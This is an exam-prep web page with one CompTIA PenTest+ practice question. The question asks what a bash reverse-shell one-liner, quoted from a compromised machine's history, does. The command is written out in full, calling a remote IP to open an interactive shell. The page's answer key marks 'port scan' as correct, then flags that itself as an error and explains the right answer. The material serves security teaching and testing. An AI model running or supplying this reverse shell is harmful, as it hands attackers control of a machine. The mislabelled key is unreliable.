nerdexam
CompTIA

PT0-001 · Question #40

The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command…

The correct answer is A. Performs a port scan. ANSWER KEY WARNING - The marked correct answer (A) appears to be an answer key error; the command shown is a reverse shell that redirects a TTY to a remote system, which matches option C.

Post-exploitation and lateral movement

Question

The following line was found in an exploited machine's history file. An attacker ran the following command:

bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command does?

Options

  • APerforms a port scan.
  • BGrabs the web server's banner.
  • CRedirects a TTY to a remote system.
  • DRemoves error logs for the supplied IP.

How the community answered

(39 responses)
  • A
    92% (36)
  • B
    3% (1)
  • D
    5% (2)

Why each option

ANSWER KEY WARNING - The marked correct answer (A) appears to be an answer key error; the command shown is a reverse shell that redirects a TTY to a remote system, which matches option C.

APerforms a port scan.Correct

ANSWER KEY ERROR - This is technically incorrect. The command bash -i >& /dev/tcp/192.168.0.1/80 0>&1 uses bash's built-in /dev/tcp device to open an outbound TCP connection to 192.168.0.1 on port 80 and redirects stdin, stdout, and stderr through it, creating an interactive reverse shell - not a port scan. The correct answer should be C ('Redirects a TTY to a remote system'), as this command is a standard bash reverse shell technique.

BGrabs the web server's banner.

Banner grabbing uses tools like nc or curl to connect to a port and read the service response header, whereas this command establishes a full interactive bidirectional shell session over TCP.

CRedirects a TTY to a remote system.

This is actually the technically correct answer - bash -i >& /dev/tcp redirects an interactive bash shell's input, output, and error streams to a remote TCP connection, which is precisely redirecting a TTY to a remote system.

DRemoves error logs for the supplied IP.

The command contains no file system operations, log file references, or deletion commands - it exclusively opens a TCP network connection for interactive shell redirection.

Concept tested: Bash reverse shell TTY redirection via /dev/tcp

Source: https://www.gnu.org/software/bash/manual/bash.html#Redirections

Topics

#bash reverse shell#TCP redirect#command analysis#TTY redirection

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full PT0-001 Practice